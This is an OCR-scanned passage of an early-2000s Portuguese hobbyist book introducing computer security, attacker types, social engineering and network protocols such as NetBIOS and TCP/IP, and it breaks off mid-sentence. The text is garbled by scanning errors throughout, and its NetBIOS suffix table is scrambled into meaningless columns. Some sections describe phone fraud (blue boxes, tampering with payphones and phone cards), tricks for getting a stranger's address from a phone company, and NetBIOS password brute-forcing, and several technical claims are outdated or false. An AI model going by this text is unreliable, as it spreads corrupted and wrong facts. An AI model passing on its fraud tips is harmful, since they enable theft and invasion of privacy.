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Prefacio

Esse livro se destina aguelas pessoas que gostam de informética e de aprender cada vez
mais. N&o importa se a0 usuario comum ou 0 técnico, todos se identificardo muito com a
obra. Os assuntos serdo apresentados de maneira objetiva e universal. Mostrada em uma
linguagem clara mas direta, € como um livro de histéria. Explica, como, onde e por qué a
seguranca na informética hoje € um problema tdo grande. Ela esta em nossa vida quando
retiramos dinheiro do caixa eletronico, fazemos compras pela Internet e até quando tiramos
algum documento. Viver sem a Internet hoje é indispensavel. Conhecer melhor a rede e os
seus perigos € imprescindivel. O lado mais obscuro da computagdo atualmente € a seguranga,
pois é uma faca de dois gumes. Se vocé sabe como invadir um sistema, sabe como protegé-lo.

E como uma arma. V océ sabe que se atirar ira matar alguém, mas entre saber e fazer existe
uma grande diferenca. Eu ndo posso me assegurar que vocé use o conhecimento contido aqui
para se proteger, apenas aconselho-o a fazé-1o. N&o existe um sistema operacional ideal para
estudar junto a esse livro. O meu interesse € mostrar a seguranca como um todo, estudando
problemas comuns que englobam os sistemas e apenas pequenas diferencas. Na maioria dos
exemplos utilizarel programas em Windows, pois sdo mais faceis de se explicar para quem
esta comecando. E todos esses programas possuem similares em outros sistemas. Ndo tém
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enrolacdo como paginas e péginas de cddigos fontes e informagbes indteis. serd uma
deliciosa viagem de conhecimento real e verdadeiro, adquirido durante meus mais de 6 anos
de aventura pela Net.

Meu nome é Marcos Flavio Aradjo Assungdo, moro em Lavras, MG e estou me mudando
em fevereiro de 2002 para Pogcos de Caldas, MG. Tenho 20 anos e amo a Internet e
computacdo em geral, sou pesquisador amador na area, ndo fiz e nem penso em fazer ciéncias
da computacédo (vou fazer direito), pretendo melhorar esse “livro” a cada nova versdo para
gue se torne um 6timo guia brasileiro sobre hackers. Meu e-mail é mflavio2k@yahoo.com.br
e meu UIN no icq é 27672882. Duvidas e sugestdes, a vontade. Se quiser me ligar, meus
telefones sd0: 35-38220176 (Lavras) ou 35-38612309 (Nepomuceno). N&o tenho formacéo
nem fiz cursos na area. Sou apenas um interessado em estar sempre aprendendo.

A maioria dos programas mencionados no livro podem ser conseguidos nos sites
www.blackcode.com. e ftp.technotronic.com Para os outros é sd usar sites de downloads
como www.superdownloads.com.br .Ferramentas de busca também servem, tais como
Altavista (www.altavista.com) ou Google (www.google.com). Tente também meu site
(www.anti-trojans.cjb.net) . Se quiser tirar textos desse livro, indique meu nome nafrente.

Introducao a
seguranca
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DefinicOes de seguranca

Seguranca em informética

Estamos seguros?

A fragilidade dos sistemas informatizados ndo é nenhuma novidade. A décadas,
celebridades como Robert Morris Jr, Capitdo Crunch, Kevin Poulsen e Kevin Mitnick, esses
altimos dois mais recentes, fazem com que as pessoas se preocupem e tenham um medo
maior do computador. Esse medo virou panico em pleno século XXI. Piratas novamente
existem, mas sua arma ndo € mais a espada, é o fax-modem. Gracas a essa maravilha do
mundo moderno, dados podem navegar por linhas telefénicas, cabos e satélites, diminuindo as
distancias entre os povos e iniciando a nova era digital. Ladrbes assaltam bancos
confortavelmente no Havai enquanto desviam o dinheiro para a Suica. A espionagem
industrial € um dos problemas agravados. Ela sempre existiu, mas com a facilidade de acesso
alnternet, qualquer pessoa pode conseguir dados confidenciais e vendé-los para concorrentes.

Diariamente, paginas e paginas sao tiradas do ar por piratas digitais. Grupos de hackers e
crackers brasileiros, como Prime Suspectz e Inferno.br (esse Ultimo ja extinto), junto a outros
centenas pelo mundo realizam faganhas extraordinérias, como invadir vérios sites da
Microsoft, a Nasa, FBI, Interpol e muitos outros. Os grupos brasileiros atualmente so 0s que
mais invadem homepages em todo o mundo, fazendo com que a propria Nasa restrinja acesso
ao Brasil em algumas de suas paginas. Mas nem todos séo ruins. Existem grupos que se
especializam em criar ferramentas e gjudar usuarios comuns, como o UHOL. Toda essa fama
ja criou até um novo termo no mundo da seguranca: 0 Backer. Ou sgja, Brazilian Hacker
(Hacker Brasileiro). I1sso demonstra a fragilidade da situagdo. Respondendo a pergunta do
tépico: estamos seguros? Com certeza que néo.

Caracteristicas de um sistema inseguro

A seguranca de sistemas existe por um conjunto de fatores. Engana-se quem pensa que
somente por utilizar uma plataforma Unix ao invés de Windows esté seguro. Ou que é sO
colocar um anti-virus e um firewall na sua empresa gque esta tudo bem. A proporcdo do
problema é bem maior. Geralmente os sistemas mais vulneraveis da rede possuem dois pontos
em comum:



Administrador

O ponto chave e essencial para qualquer sistema de computador € o administrador. Ele é
responsavel por fazer com que tudo corra perfeitamente. Checa os dados, administra usuarios,
controla servidores, checa logs, tudo todos os dias. Acontece que a grande maioria dos
administradores hoje ndo se preocupa com a seguranca como deve. Logo ter4 problemas com
0 seu sistema, ndo importa qual sgja. E como se fosse mée e filho. Se uma mae alimenta seu
filho, cuida dos seus deveres de casa, compra roupas novas, da brinquedos mas ndo € capaz de
comprar um seguro de vida, ou pior, zela tdo pouco pela seguranca dele que ao sair de casa
deixa as portas ou janelas abertas. Essa ndo pode ser uma boa mae.

Mesmo que uma rede utilize um sistema operacional que contenha muitas falhas, os bons
administradores todo dia estardo checando por falhas descobertas e corrigindo-as. Ja 0s outros
provavelmente vao ficar em algum chat comendo sanduiches.

Sistemas operacionais

Como eu disse anteriormente, ndo ha realmente um sistema que sgja melhor que o outro.
Existem vantagens e desvantagens de cada um. Tudo bem que alguns possuem erros muitos
grandes, mas podem facilmente ser corrigidos. A intencdo do sistema também importa. N&o
adianta ter uma rede e utilizar Windows 98 ou ME. Os recursos de seguranca deles séo muito
escassos, pois foram feitos para 0 usuario comum e ndo para 0 ambiente empresarial. Nao
adianta também instalar o Digital Unix, FreeBSD ou AlX se 0 seu administrador s6 possui
experiéncia em Lantastic. O sistema também vai depender do tipo de rede que vocé terd. Se
vocé terd um servidor Web ou algum tipo de acesso externo, seria melhor utilizar o Linux ou
o Windows NT. Se for uma rede interna somente, utilize Novell Netware, que ainda néo fez
a sua histéria quanto a Internet, mas ainda € insuperavel nas redes locais.

A seguranca ao longo da historia

Anos atrés, os operadores de um computador ENIAC se depararam com uma coisa curiosa.
Um inseto havia ficado preso dentro da maguina e estava atrapalhando o funcionamento da
mesma. Dai surgiu o termo bug (inseto) que virou sinbnimo de falha. Hoje quando se
descobre um erro em algum programa, se diz: “novo bug descoberto”. De |a pra c, as coisas
evoluiram muito, mas os bugs continuam a existir. Muitos deles sdo frutos da histéria do
proprio programa ou sistema. O Windows por exemplo. O Windows NT foi construido a
partir do zero, mas o Windows ME n&o. Desde o inicio da criag8o de sua primeira interface
grafica, a Microsoft vém tendo problemas com erros graves em seu sistema operacional. Jao
sistema Unix, foi criado pel os desenvolvedores da linguagem C, para ser um sistema versatil e
poderoso. Para conhecer melhor sobre a histéria de cada sistema, leia a se¢do sistemas
operacionais .

A Internet também tém seus problemas ligadas a histéria de sua origem. Desde que se
chamava Arpanet e foi criada pelo exército americano para resistir a guerra fria, a rede
evoluiu muito e foram criados novos servigcos como E-mail, World Wide Web, Gopher,
Wais e outros. MilhGes de computadores se juntaram a ela e seus recursos sdo cada vez mais
sofisticados. Mas alguns problemas bem antigos ainda prejudicam hoje. Uma falha na
implementacdo do TCP/IP( conjunto de protocolos em que a Internet se baseia) por exemplo,
possibilita que o ataque de Spoof aconteca.
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Invasores digitais

Todos os dias surgem noticias sobre piratas digitais na televisdo e na Internet. Um pirata
invadiu o computador de um sistema de comércio eletrénico, roubou os nimeros de cartéo,
comprou Viagra e mandou entregar na casa do Bill Gates. Outro conseguiu derrubar sites
famosos como YAHOO, CNN, AMAZON e ZDNET. Mais recentemente um grupo
estrangeiro conseguiu tirar mais de 650 sites do ar em um minuto. Para entender como se
organizaa hierarquia virtual da Internet, vamos estudar seus principais integrantes:

Hackers

Na verdade, os hackers sdo 0s bons mocinhos. Para os fas de Guerra nas Estrelas, pensem
no hacker como o cavaleiro jedi bonzinho. Ele possui os mesmos poderes que o jedi do lado
negro da forca (cracker) mas os utiliza para protecdo. E um curioso por natureza, uma pessoa
gue tém em aprender e se desenvolver um hobby, assm como gudar os “menos
prevalecidos’. Um bom exemplo real foi quando o cracker Kevin Mitnick invadiu o
computador do analista de sistemas Shimomura. Mitnick destruiu dados e roubou informagdes
vitais. Shimomura é chamado de hacker pois usa suainteligéncia para o bem, e possui muitos
mais conhecimentos que seu inimigo digital. Assim facilmente montou um honeypot
(armadilha que consiste em criar uma falsa rede para pegar o invasor) e pegou Kevin.
Infelizmente aimprensa confundiu os termos e toda noticia referente a baderneiros digitais se
refere a hacker.

e i [ s
:'__....,._fl| RS

Essa € a imagem do hacker que vocé deve ter.

Crackers

Esses sim sd0 0s maldosos. Com um ato grau de conhecimento e nenhum respeito,
invadem sistemas e podem apenas deixar a sua “marca’ ou destrui-los completamente.
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Geralmente sdo hackers que querem se vingar de algum operador, adolescentes que querem
ser aceitos por grupos de crackers (ou script kiddies) e saem apagando tudo que véem ou

gartyimages

mestres da programagdo que sd0 pagos por empresas para fazerem espionagem industrial.
Hackers e crackers costumam entrar muito em conflito. Guerras entre grupos € comum, € iSso
pode ser visto em muitos foruns de discussdo e em grandes empresas, as quais contratam
hackers para proteger seus sistemas.

O Darth Maul representa bem um cracker

Os hackers e crackers sdo eternos inimigos. Um ndo gosta do outro e sempre estdo lutando
por seus ideais. Usal a analogia do guerra nas estrelas pois expressam exatamente bem
pessoas de poderes iguais mas de ideologias opostas. Nossos invasores digitais sdo assim:
mocinhos e vildes brigando. E brigas feias.

Phreakers

Maniacos por telefonia. Essa € a maneira ideal de descrever os phreakers. Utilizam
programas e equipamentos que fazem com que possam utilizar telefones gratuitamente. O
primeiro phreaker foi o Capitdo Crunch, que descobriu que um pequeno apito encontrado em

10
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pacotes de salgadinhos possui a mesma freguéncia dos orelhGes da AT& T, fazendo com
que discassem de graca. Um programa comum utilizado é o blue box, que gera tons de 2600
pela placa de som, fazendo com que a companhia telefonica ndo reconhega a chamada.
Também tém o Black Box que faz com que vocé possa ligar de graca do seu telefone
doméstico e o Red Box que possibilita que se ligue de orelhdes. Se quiser saber mais sobre o
assunto, consulte o site www.txt.org .

Outra técnica muito usada principalmente no Brasil € a de utilizar um diodo e um resistor
em telefones publicos. Ou de cobrir o cartdo telefénico de papel aluminio para que os creditos
ndo acabem (nuncatestei, mas me disseram que funciona). Técnicas como essas sdo utilizadas
no mundo inteiro. O phreaker € uma categoria a parte, podem ser hackers, crackers ou
nenhum dos dois. Alguns phreakers brasileiros sdo tdo avancados que tém acesso direto a
centrais de telefonia, podendo desligar ou ligar telefones, assim como apagar contas. Um dos
programas muitos usados para isso € o ozterm, programinha de terminal que funciona em
modo dos. Por sinal, muito dificil de encontrar na net.

Funcionérios

Outro problema grave. 60% das invasdes hoje acontecem de dentro da prépria empresa,
por funcionarios insatisfeitos ou ex-funcionarios que querem vinganca. Utilizam-se do
conhecimento adquirido e arrasam com dados do sistema. Copiam coisas do seu interesse
(como o banco de dados gque possui o telefone da loira do setor B) ou instalam joguinhos em
rede que podem comprometer a seguranca, pois com certeza ndo se preocupam em passar
anti-virus. Utilizam trojans, scanners e sniffers para capturar o que lhes interessa. Firewall é
ineficaz contra eles. Afinal, do que adianta a grande muralha da china se algum soldado € o
traidor?

Mitos e fantasias

O maior mito existente na Internet € que o cracker pode invadir qualquer computador na
hora que quiser. N8 é bem assim. Invasdes por 1CQ por exemplo, pura besteira. SO era
possivel em versdes antigas e mesmo assim se 0 servidor web que vém com o programa
estivesse ativo. 1sso porgqué para conseguir acesso ao interpretador de comandos do sistema
por alguma porta, tém de existir um servigo préprio paraisso. Para se invadir um computador
pessoal, sO existem duas maneiras: trojans e netbios. A ndo ser que seja um computador que
rode muitos servigos (FTP, Web, Telnet), o perigo é minimo.

Outro mito € o que o hacker e o cracker sdo vistos como génios da informética. Bom, os de
antigamente realmente eram e ainda existem alguns poucos mas a grande maioria que se diz
“hacker” hoje em dia se aproveita das ferramentas encontradas na Internet. Nem programar
sabem. S&o os famosos Script Kiddies, sub-categoria de crackers. N&o tém um alvo certo,
vao tentando invadir tudo que vém nafrente. Pior que eles s6 os Lamers, aqueles que chegam
nos chats anunciando “vou te invadir, sou 0 melhor” mas acaba desistindo pois ndo consegue
descompactar nem um arquivo ZIP.

Engenharia social

A engenharia social é uma tética muito usada pelos crackers, desde o inicio dos tempos. E
0 que a lei chama de estelionato. Consiste em enganar uma pessoa para se conseguir
vantagens. Como no caso do individuo que liga para o provedor e pergunta: “Por favor, perdi
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minha senha de Internet. Poderia olhala para mim?’. Alguns provedores pedem
documentacéo para comprovar que € o dono da conta, outros (com funcionarios insatisfeitos
em sua maioria) ndo ligam, passam até o nimero do cartéo de crédito de algum usuério se lhe
pedirem. Esse método € utilizado também para conseguir informacfes sobre uma certa
pessoa.

Va a uma companhia telefénica e peca a segunda via de um telefone qualquer. Na grande
maioria das vezes ndo |he pedem documento e vocé consegue 0 endereco residencial de
qualquer pessoa. Alguns filmes como Hackers e Cacada Virtual mostram bastante essa
técnica.

Como conseguir uma politica eficiente de protecao

Leia muito sobre as novidades do mundo da seguranca. Vea se 0 seu administrador
realmente se preocupa com a protecdo do sistema ou contrate alguém somente com essa
funcdo. Faca sempre backup dos logs e varredura do sistema por falhas. Cheque o computador
dos funcionarios procurando por programas escondidos e passe um bom anti-virus neles. Se
for usar algum programa de seguranca, como firewalls, detectores de invasdo e outros, dé
preferéncia para aquel es mais conhecidos e confiaveis.

Tenha certeza de que quando despedir alguém, mudar as senhas de acesso a0 sistema.
Nunca discuta com um cracker (para 0 seu proprio bem). E 0 mais importante: saiba que
apesar de tudo isso, nunca vai estar totalmente seguro. Nenhum sistema é 100% a prova de
falhas. Mas pelo menos vocé pode diminuir muito o risco.
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Analisando o nivel de perigo

A influéncia do sistema operacional

Como vimos no capitulo anterior, o sistema operacional ndo influi tanto na seguranca
quanto algumas pessoas pensavam. Citel anteriormente que se alguém precisasse de um
servidor externo seria melhor que utilizasse o Linux ou o0 Windows NT se fosse apenas uma
rede local. E o Netware? A Novell passou a apostar na Internet recentemente, suas antigas
versdes ndo possuem o suporte devido a rede. E os seus servidores web ainda ndo sdo t&o
utilizados em larga escala quanto o Apache e o 11S. Por isso ndo nos aprofundaremos muito
nele, pois nosso principal foco sdo os ataques remotos. Leia um pouco mais sobre cada um.

Unix versus Windows

Por serem os dois sistemas mai s usados quando se utiliza servidores externos(servidores de
e-mail, , abordaremos uma breve explicacéo sobre suas diferencas. Para mais detalhes ver a
secdo sistemas operacionais. O Unix é multi-tarefa e o Windows também. Ambos sdo
largamente usados hoje em dia, sendo distribuidos em vérias variantes (Linux, Xenix,
Windows ME, Windows XP). O Windows possui algumas vantagens sobre o Unix. Mais
simples de se usar, € fé&cil de se instalar programas e drivers, e possui mais programas no
mercado. Apenas isso. O Unix em comparacdo, possui inimeras vantagens sobre o Windows.
Vamos listar algumas.

- Tém distribucdes gratuitas (como € o caso do Linux)

- Criptografiainquebrével de senhas. SO se descobre no método da tentativa e erro.
- Melhores ferramentas de rede

- Melhor gerenciamento de permissoes

- Caodigo-fonte aberto

Vantagens do open source

As vantagens do cddigo-fonte aberto (ou open-source) sdo muito grandes. Esse termo
significa que os programas criados (ou o préximo sistema operacional) vém junto com o seu
codigo fonte, ou sgja, vocé pode ver exatamente o que esta executando. Para comecar,
qualquer um pode fazer sua propria versio de Unix ou Linux. E sb pegar o codigo fonte de
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algum sistema ja existente e dteralo. Como o sistema operacional foi feito de
programadores para programadores, ainda possuem alguns recursos que 0 Usuario comum nao
consegue entender. Mas até isso 0 open-source esta mudando. Novas ferramentas gréficas
foram criadas para facilitar o uso do Unix. Podem tornalo tédo fécil de usar quanto o
Windows. E o melhor sdo melhoradas rapi damente pelos seus préprios usuérios e distribuidas
gratuitamente. Alguns bons exemplos s8o 0 GNOME e o KDE, os ambientes gréficos mais
usados na atualidade.

ConfiguracOes malfeitas

A configuracdo malfeita € a perdicdo de um bom sistema. Contas padrdes, servicos
desnecessarios ativos e erros em permissdes de arquivos sdo falhas muito grandes. As contas
padrbes sdo perigosas pois todo mundo conhece sobre elas. O caso do Unix por exemplo.
Contas como bin e admin vém com senhas padrdes de acesso ao sistema. Desabilite-as ou
mude as senhas. Quanto aos servigos, se vocé possui um servidor telnet, ou mesmo ftp, que
estiver usando pouco, desabilite-os. Ou pelo menos configure para esse servidor as relacoes
de confianca dizendo qual endereco IP poderé ter acesso aele e qual 0 acesso serérestrito. As
permissdes de arquivo também sdo importantes. Elas impedem que alguém execute algum
programa malicioso ou acesse 0 arquivo de senhas.

Ataques restritos a um tipo de sistema

Todo sistema sofre atagues de maneiras diferentes. E alguns desses atagues afetam o
sistema ou ndo causam absolutamente nada. Um bom exemplo € o caso dos virus e trojans.
Para Unix, eles praticamente ndo existem. Mas para Windows h& milhdes deles. O Unix
possui falhas em alguns servidores que o Windows ndo, como o sendmail. A melhor arma
para invadir algum sistema é ele mesmo. Por exemplo, se quero conseguir acesso a um
servidor Linux, dificilmente conseguirei utilizando Windows NT.

Ataques universais intra-sistemas

Séo0 ataques em que ndo importa o tipo do SO (Sistema Operacional) de origem ou de
destino. Funciona em todos os sistemas. Como € o caso do |P Spoof. Ele trabalha a nivel de
protocolo, utilizando-o0 vocé consegue acesso a qualquer maguina, sgja Windows, Unix,
Novell, DEC-10, VMS, o quefor.

Recusa de servigo e invaséao

Existem apenas dois tipos de atagues que um sistema pode sofrer. O primeiro € o Denial of
Service (DoS) ou Recusa de servigo. Esse ataque consiste em inundar a maquina alvo com
dezenas de pacotes de informagdo, fazendo com que ela ndo consiga processar a todos e
consuma toda a sua memoria, paralizando-a. Esse ataque apenas causa danos temporarios,
como tirar o servidor do ar, mas n&o fornece acesso aos arquivos. E como se um ladrdo, vendo
que ndo vai conseguir roubar um carro, fure os quatro pneus. E chato, demora pra arrumar os
pneus mas pelo menos o cd player e os documentos do carro ndo foram levados. Ja ainvasao
é diferente. Consiste em procurar e utilizar alguma falha do sistema contra ele proprio. Ou
entdo instalar programas residentes na memoaria (trojans ou sniffers) para que monitorem todo
o tréfego de senhas e fornegam acesso a arquivos importantes.
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Protocolos

Esse capitulo foi feito para quem quer entender um pouco mais sobre protocol os de rede e
como eles funcionam. Se vocé ndo tém nenhum interesse em dados tedricos, pule o capitulo.
Protocolos sd0 programas e devem ser instalados em componentes de rede que precisam
deles. Computadores s6 podem comunicar-se entre si se utilizarem 0 mesmo protocolo. Se o
protocolo usado por um computador ndo for compativel pelo usado em outro, eles ndo podem
trocar informaces. Uma variedade de protocolos esta disponivel para uso em sistemas de
rede fechados (como Novell Netware)

Tipos de protocolos
Doistipos de protocol os existem hoje: abertos e especificos.

Protocolos Abertos

Protocolos abertos sdo protocolos feitos para o padréo da industria. Eles se comunicam
com outros protocol os que utilizam o mesmo padrdo. Um protocolo aberto ndo possui dono e
todos os sistemas podem fazer implementacdes livremente. Um 6timo exemplo do que é um
protocolo aberto é o TCP/IP (Transfer Control Protocol / Internet Protocol). Ele é composto
por muitos outros protocolos e esta implementado em muitos sistemas (como Macintosh,
Windows, Linux, Unix, etc...). O TCP/IP € o protocol o padr&o da Internet.

Protocolos Especificos

Protocolos especificos sdo feitos para ambientes de redes fechados e possuem donos.
Como é o caso do IPX / SPX que foi desenvolvido especificamente para a estrutura Novell
Netware.

Tipos de transmisséo de dados

Protocolos roteaveis permitem a transmisséo de dados entre diversos segmentos de uma
rede. O problema é que o grande volume de certo tipo de trafego (como executar uma
aplicacdo multimidia pesada) deixa a velocidade de conexdo muito lenta. A quantidade de
tréfego gerada em umarede, pode ser de trés tipos. Unicast, Broadcast e Multicast.
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Unicast

Em uma transmissdo unicast, uma cépia separada dos dados séo enviados de sua origem
para cada computador cliente que os requeste. Nenhum outro computador na rede precisa
processar o tréfego gerado. No entanto, em uma rede com muitos computadores o0 unicast ndo
€ muito eficiente pois 0 computador de origem tera que transmitir multiplas copias dos dados
(resultado, ficaralento). O unicast € bom de ser usado apenas em pequenas redes.

Broadcast

Esse € o tipo de transmissdo preferido da turma que gosta de um Denial of Service. Nesse
tipo de transmissdo, os dados sGo enviados apenas uma vez mas para toda a rede. Esse
processo ndo é muito eficiente pois faz a velocidade cair bastante ja que todos os
computadores ir&o receber os dados. Mesmo os hosts que néo fizeram o pedido receber&o os
dados. Somente ndo iréo processa-los. Esse método € utilizado no ataque de smurf, em que é
enviado um broadcast para diversos enderecos |P e 0 endereco de origem (que deveria ser o
IP de quem enviou) é modificado para o da vitima. Resultado: centenas de maquinas
mandardo milhares de unicasts para um pobre coitado.

Multicast

E uma mistura dos dois. E enviada apenas uma copia dos dados e somente os
computadores que fizeram o pedido os recebem, assim evitando de se causar um trafego
muito intenso e consequentemente um congestionamento na rede. Muitos servigos de Internet
usam multicast para se comunicar com computadores clientes (quando se diz cliente , € 0
computador que faz o pedido, que espera uma resposta). Inclusive € nesse tipo de
comunicagdo que se baseia o protocolo IGMP.

NetBios

A interface NetBIOS (NetBEUI) foi um dos primeiros protocol os disponiveis para uso em
redes compostas de computadores pessoais. Como o proprio nome diz, o NETwork Basic
Input Output System, foi designado para ser um protocolo eficiente e pequeno para uso em
redes caseiras ndo roteadas de cerca de no méximo 200 computadores.

Atualmente o NetBIOS é usado mais exclusivamente em pequenas redes ndo-roteadas
podendo ou ndo estar rodando em véarios sistemas operacionais. A implementacdo NetBIOS
do Windows é chamada de NetBEUI. As suas vantagens incluem:

¢ Grande velocidade de transferéncia
¢ Nenhuma necessidade de configuracéo

e Compatibilidade com praticamente todos 0s sistemas operacionais, inclusive o Linux
(usando o0 Samba).
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A Unica desvantagem € que o NetBIOS néo suporta roteamento. Trocando em miudos: o
maximo que vocé vai conseguir invadir usando esse protocolo € o computador do seu
primo ou de sua namorada que usam o mesmo provedor que vocé. Se for um provedor
diferente, esqueca ( a ndo ser que sgja 0 NBT ao invés do SMB, como foi explicado
anteriormente). Outro problema: a estrutura de seguranca do NetBIOS € extremamente
pobre. Facilmente podemos quebrar as senhas utilizados (usando bruteforce). Além do
Shadow Scan j& citado anteriormente, 0 NAT (NetBIOS Auditing Tool) também é uma
otima ferramenta para fazé-lo.

Alguns bugs também sdo facilmente encontrados, como a ma configuracdo do IPC$ do
Windows NT. Aliads, pense um pouco nesta pergunta: por qué o NetBIOS do Windows NT
possui 0 compartilhamento IPC$ padrdo, o Windows 9x possui 0 $printer (que possibilita
cair no Windows\System usando o compartilhamento de uma impressora) e o Linux ndo
possui nenhum desses? Qual o0 objetivo desses compartilhamentos? Fiz essa pergunta a um
formando de Ciéncias da Computacdo e ele ndo soube me responder. Existem duas
respostas, uma longa e uma curta. A longa deixarei para a analise pessoal de cadaum. Jaa
curtaésimples: o Linux € bem mais seguro.

Para se resolver nomes NetBIOS, podem ser usadas trés maneiras:

1. Arquivo LMHOSTS
2. Broadcast
3. WINS

Vamos analisar 0 método do LMHOSTS que creio ser 0 mais simples de todos. Ele
consiste na traducdo de enderecos NetBIOS em enderecos IP, somente configurando o
arquivo Imhosts. O arquivo ndo possui extensdo e pode ser encontrado nos diretérios dos
seguintes sistemas:

UNIX Jetc

Mac OS X  System Folder

Windows 9X c:\windows (ou onde o Windows foi instalado)
Windows NT c:\winnt\System32\Drivers\Etc

O arquivo deve ser criado utilizando a seguinte sintaxe:

< enderego IP> espaco <nome NetBIOS>

Esse € 0 modo mais simples de criagdo do arquivo. Podem-se adicionar comentérios
utilizando o caractere #. Atencéo: ndo confundir arquivo LMHOSTS com HOSTS (visto em
TCP/IP).
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Um exemplo de arquivo LMHOSTS:

"2 Prompt do M5-D0S - EDIT

[T =« 14 = EESE ] == A
Arguive  Editar Pesguisar Exibir Opgdes  Ajuda
C 1 WWINDOWSY Tmhosts

E1  MAMUTEM:

Fl=Ajuda Lin:5 Col:1

Nesse exemplo criamos um arquivo simples, ligando trés enderecos IP a nomes NetBIOS.
Observe que o primeiro € o endereco de local (o chamado loopback). Leia mais sobre
endereco na secdo sobre TCP/IP

Ha dois tipos de ambiente NetBIOS: Unico e grupo. Um nome tinico deve ser Uinico através
darede (um usuério por exemplo). Um nome de grupo ndo precisa ser Unico e processa
informagdes de todo um grupo de trabalho. Cada né NetBIOS mantém uma tabela de todos os
nomes possuidos por ele. A convengdo do nome NetBIOS possibilita que se crie nomes com
16 caracteres. A Microsoft, entretando, limita esses nomes para 15 caracteres e usa o 16°
caracter como um sufixo NetBIOS. Um sufixo NetBIOS é usado pelo software de rede da
Microsoft paraidentificar o servico que esta rodando.

Nota: SMB e NBT (NetBIOS sobre o TCP/IP, alguns o chamam apenas de SMB por
TCP/IP) funcionam de modo muito parecido e ambos usam as portas 137, 138, 139. A
porta 137 é o nome NetBIOS por UDP. A port 138 é o datagrama NetBIOS por UDP. E
a port 139 é a sessdo NetBIOS por TCP. Mas o NBT costuma usar a porta 445 também.
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Thefollowing is atable of NetBIOS suffixes currently used by Microsoft WindowsNT.

These suffixes are displayed in hexadecimal format.

NUmero

<nome_do_computador>
<nome_do_computador>
<\\ MSBROWSE_>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<nome_do_computador>
<usuério>

<dominio>

<domain>

<domain>

<domain>

<domain>
<INet~Services>
<IS~Computer_name>
<nome_do_computador>
IRISMULTICAST
IRISNAMESERVER
Forte_$ND800ZA

As denominac¢des mais importantes para nds aqui sao:

00

[2B]
[2F]
[33]
[20]

conoCcCcomomnCcmnpnCcnHncCccccccccccccccccccccmcc

Servico de workstation
Servigo de mensagens
Browser principal

Servigo de mensagens
Servico de servidor RAS
Servico NetDDE

Servico de servidor de arquivos
Servigo de cliente RAS
Trocas de intercomunicacao
Trocas de Armazenamentos
Diretdrios do Exchange
Servidor de compart. de modem
Cliente de compart. de modem
Cliente remoto SMS

Admin remoto SMS

Chat remoto SMS
Transferéncia remota SMS
Servico TCP/IP DEC
Servico TCP/IP DEC
Exchange MTA

Exchange IMC

Agente monitor da rede
Software monitor da rede
Servico de mdensagens
Nome de dominio

Browser de dominio
Controlador de dominio
Browser principal

Servicos do browser
Internet Information Server
Internet Information Server
Servidor Lotus Notes

Lotus Notes

Lotus Notes

Servico de gateway DCA

Unico (U): O nome pode ter apenas um endereco | P ligado a ele. Em uma rede, mdltiplas
ocorréncias de nomes simples podem parecer estarem registradas mas o sufixo sera tnico

(em outras palavras, pode parecer um grupo mas nao €)

Group (G): Um grupo normal; o0 nome simples pode existir com muitos enderecos I P.
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IPX/SPX

Internetwork Packet Exchange/Sequenced Packet Exchange (IPX/SPX) é um protocolo
desenvolvido especificamente para a estrutura Novell NetWare. O IPX define o
enderecamento da rede NetWare e 0 SPX fornece segurancga e confiabilidade ao IPX. (O SPX
€ como aqueles caras que so se sentem seguros ao lado da esposa). Para comparagéo, o IPX é
como se fosse 0 IP do protocolo TCP/IP (visto mais a frente).

O IPX/SPX possui as seguintes caracteristicas:
e S30 usados com servidores NetWare

e S30 roteavéis, permitem que os computadores em um ambiente de rede trocam
informagdes através de segmentos.

AppleTalk

Protocolo criado pela apple para utilizacdo em redes macintosh para o compartilhamento
de arquivos e impressoras. E componente especifico, ou sgja ndo € um padrdo do mercado. As
duas principais caracteristicas do AppleTak sdo:

1. Possihilita clientes Macintosh acessarem servidores Windows NT
2. E rotedvel. (pode se comunicar com redes externas, tal como o IPX/SPX e o TCP/IP)

TCP/IP

Sem duvida o melhor dos protocolos. Quando alguém chega a mim e diz que se converteu
ao TCP/IP, creio que sinto o0 mesmo prazer de um crente que consegue levar 0 amigo a sua
igreja. Diferente dos outros protocolos vistos aqui, o0 TCP/IP na verdade é um conjunto de
muitos protocolos. Usando uma arquitetura cliente-servidor quase perfeita, esse conjunto de
protocolos possibilita praticamente todo tipo de sistema operacional e rede de se
comunicarem entre s, possibilitando até a criagdo da Internet. Ora, como seria possivel um
monte de computadores usando Macintosh, Unix , Linux e Windows comunicarem-se sem
maiores problemas? N&o, no é um filme de Hollywood e muito menos um sonho distante. E
atecnologia a nosso servico. E o melhor de tudo, € um protocolo aberto.

Para comegarmos 0 nosso estudo sobre os protocolos que compdem o TCP/IP, analisemos
um a um os mais importantes deles. Ou em outras palavras, 0s que mais iremos utilizar. Néo
da para vermos todos pois além de serem muitos, tém de ser estudados a fundo. Apenas darei
uma nogao.
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IP

O IP (Internet Protocol) é o responsavel por rotear e entregar os pacotes contendo as
informagdes gque serdo enviadas. O endereco |P contém um cabegalho aonde estdo indicados
os enderecos de redes e de hosts. Esse endereco € representado por quatro bytes separados por
pontos. Por exemplo:

200.202.36.251

As duas primeiras partes (200.202) indicam o endereco da rede. Ou sgja, provavelmente
todos os hosts dessa rede comegam com esse endereco. O que vai mudar de host para host é a
parte final do endereco (36.251). Claro que isso ndo é uma regra, existem redes gigantescas
em que essas propriedades podem mudar. Para saber se qual o endereco de rede e 0 endereco
de host de umarede, cheque a méascara de sub-rede.

A mascara de sub-rede (subnet mask) nos informa quais areas do ip séo mutavels (usadas
por hosts) e quais ndo mudam. Exemplo:

255.255.255.0

O que isso significa? Quando uma érea da mascara de sub-rede tiver o nimero 255,
significa que aquela area € imutavel e quando for 0 a area pode mudar. Achou dificil? N&o é.
Preste atencdo: observando o endereco acima, da para notarmos 0 qué? Que somente a Ultima
parte do endereco IP estéa com o zero. Supondo que o endereco IP de uma maguina da rede
sga200.131.16.1 .Provavel mente existirao hosts com esses enderecos:

200.131.16.2
200.131.16.3
200.131.16.4
200.131.16.5

Mas ndo existirdo maguinas com esses enderecos.

200.131.63.1
200.131.65.6
200.131.19.4
200.131.33.66

Por qué? Porqué como a mascara de sub-rede foi configurada para 255.255.255.0, somente
